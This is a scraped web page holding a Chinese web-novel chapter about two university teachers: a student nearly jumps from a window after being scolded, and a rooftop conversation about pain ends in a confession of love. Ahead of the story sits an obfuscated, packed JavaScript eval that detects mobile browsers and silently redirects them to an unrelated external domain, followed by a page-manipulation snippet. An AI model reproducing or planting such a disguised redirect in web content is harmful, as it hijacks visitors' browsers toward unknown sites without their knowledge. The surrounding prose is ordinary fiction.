;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679444|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作压得也在变形,在看到自己新收的徒弟靳垣埋头玩儿手机约么十分钟后,他终于忍不住了。 李和铮口中讲着的话突然断掉,神色冷了下去。 仰慕着他的潇洒随和的学生们从未见过他这一面,在总是含笑的彩色眼睛里看到冷然的不悦,被某种无法形容的气场逼到似的,一时间都噤若寒蝉,面面相觑。 靳垣浑然不觉,眉头紧锁,还在扣字。 李和铮敲了敲讲桌,靳垣的同桌注意到他的目光投向,连忙狂拍他。 靳垣如梦方醒,脸红透了,放下手机起立:“老师对不起!” “滚出去。”李和铮语气平淡,听不出情绪波动。 大家更不敢说话,在这新晋师徒俩间互相看。 靳垣脸红得发紫,极力控制表情:“老师,真的对不起!我不会再……” “滚出去。”李和铮重新拿起了线控,已经转身重看自己的ppt,“别让我再说第三次。” 桌椅碰撞叮叮duangduang一片响,在众人的惊呼中,李和铮猛回头,看见了崩溃的靳垣夺门而出的背影。 后排几个男生反应极快,喊不住靳垣,跟着冲出去。 等瘸子李老师赶着追出来,看到的是几个男生奋力把扒在窗户上准备跳楼的靳垣拽下来,几个人在地上摔作一团。 地上的靳垣眼泪狂飙,有男生大骂你是不是疯了!有男生跪压他身上,生怕他还要跳。 楼道里从空无一人到人山人海也就几个瞬间的事。 在众目睽睽之下,第一次骂学生就把学生骂得要跳楼的李和铮:…………………………… 白逐雪,我要回来了,我要回来你听到没有,这傻逼老师谁爱当谁当。 —————— 骆弥生在某教学楼顶的天台上放空时,是不看工作消息的。 学生时代他们很爱在这里待着,不过现在天台早被铁网全密封了,学生们也不能上来,得有职工证才能刷开通上来的门。 他站在围墙边上,靠在铁网上,静听风声。下面校园里的声响很远,他便会得到类似于公园二十分钟的舒缓。 ——所以,等他在工作群里看到李和铮那里出了大事件,已经是事发四十分钟后,该处理的都处理完了。 骆弥生皱起眉,切到电话页要打给他,远处,天台的门开了。 穿着大黑短袖牛仔裤的李和铮一手抄兜,一瘸一拐地上来了。 生活在同一亩三分地,将近一个月没见,两个人骤然看到彼此,也没愣怔,都迎着对方走上去。 李和铮走近了,一屁股坐在靠近围墙的长椅上,长长舒了口气,仰头看着骆弥生:“你每天听那么多学生吐苦水,自己心理不会出问题吗?现在孩子真够脆弱的。” 骆弥生迟疑片刻,考虑到身上还是白大褂,脏,坐在了长椅的另一端,推推眼镜:“你别这么说。不是他们脆弱了,现在信息大爆炸,网生代的生命进程要比我们提速,所以他们要面对的问题也……” “都和我这个退休老登一样,是吧。然后他们的年龄阅历心力都还没长起来,所以总出问题。”李和铮笑了笑,斜眼看他,“骆老师,你确实比我更像老师。” “刚才是……”骆弥生有些忧虑,毕竟……作为大学老师“把学生骂得要跳楼”真是弥天大罪。 “没事,都解释清楚了。要跳的是我刚收回来的男徒弟,原来是女朋友正跟闹分手呢,又被我骂了,一下子感觉事业爱情未来都没了,一时间想不开,冲动了。”李和铮掏兜点烟。 骆弥生:盯—— 李和铮莫名其妙,抬手递他烟盒:“咋了,你没带?” 骆弥生很严肃:“你一共收了几个徒弟?一男一女,对吧?” “昂,咋了。”李和铮让他搞得心里发毛,不由自主坐直了点。 骆弥生:…… 片刻后,他这向来坐有坐相的板正人也瘫到了椅背里,摘下眼镜,掏兜拿出眼镜布,开始擦。 李和铮:……? 骆弥生叹口气:“你也是无妄之灾,我刚刚结束的最后一个咨询,就是你这个徒弟的女朋友。听我说完后,可能是……想通了。” 怎么是这样,李和铮被这蝴蝶风暴式的神展开逗笑了,大笑出声:“你们是想通了,轮到我们这边儿想不通了,哈哈哈哈哈……” 骆弥生也笑笑,看了他会儿,起了身。 “哎,你说,”李和铮笑过后弹弹烟灰,突然冒出一个有点无厘头的问题,“大家的生活都这么痛苦吗?” “理论上,是的。”骆弥生中肯地,“你待的地方太苦,可能会把苦难与痛苦本身混淆。而且,你很少痛苦,因为你总是自洽。” 李和铮安静地看着他。 “感知痛苦是一种能力。”骆弥生背靠回防护网上,在李和铮安全距离外,在被渐落的夕阳逐渐染红的蓝天白云映衬下,白得纯粹。 “感到痛苦是人类本能,但感知到多少痛苦是可以人为控制的。” “大哲学家。”李和铮定了会儿,累了。 他疲惫地瘫在长椅上,双手搭在椅背上,倒仰头,眯着眼用下目线看他:“你像是不当医生后超脱了。” “我还在当医生,”骆弥生认真地纠正他,“只不过稍微有点偏差。” “有点?” “……嗯,一点。” “好吧。”李和铮不再问。 骆弥生转了过去。 燕园的夏天,即使不由小学生来写,都朝气蓬勃,欣欣向荣,不该有放弃理想的人在此苟且。 可惜,这里的确有两个这样的人,他们形影相吊。 疲于教师生涯的李和铮,看着似乎很适应教师生涯的骆弥生站在围墙边上的背影,风吹起他白大褂的下摆,渐渐也笼罩上日落的残影。 起风了,他二流子似的喊他:“欸。” 骆弥生闻声转身,镜片反光,看不清他的眼神:“嗯?” “你对我还有什么诊断?”李和铮抛了一支烟给他,被风吹飞。 骆弥生便从白大褂兜里拿出自己的,低头挡风,点了一支,想了一会儿:“你因为害怕‘痛苦’会影响你的书写,强行关闭了这种感知。” “然后……你生病了。生病并不可耻,它让你回避‘痛苦’,至少将你抵御在痛苦之外。” “所以,其实不算差。” “你呢?”李和铮歪着头反问,“你什么最痛。” 骆弥生没想到他的话会转回来,望着他,怔住了。 最近,他们之间那原本就摇摇欲坠的平衡终究是坠了下去。李和铮不再对他有体面式的问询,不再有来有回地消遣、应酬他。 那么他现在问,是真的在问他。 骆弥生沉默良久,久到李和铮以为他不会回答自己,他才说:“我一直很痛。” 李和铮在夕阳中看他逆光的身影。那金红色厚重而盛大,从骆弥生身上照到他自己的脸上,点燃他灰色调的眼睛。 他看着骆弥生,不知道哪里也感受到疼。 可没等他抓住那是什么,骆弥生眉眼舒展,冰消雪融,笑得温柔:“不过,痛也没什么。爱和痛总是相互作用,很多人都不能很好地分辨他们。我在痛,是因为我在爱。” 李和铮的心骤然收紧,他一瞬不瞬地盯着几步外的骆弥生,手也不自觉地抠紧了长椅的椅背,试图以此为支点,来抵御预感中他无法抵御的那句话。 日坠虞渊,满眼灿烂的暖色调变冷,金红的暖意呼啸着从他们身上撤走,只在须臾。 风又起,在反扑而来的微冷中,骆弥生看着李和铮,神情专注:“我爱你。”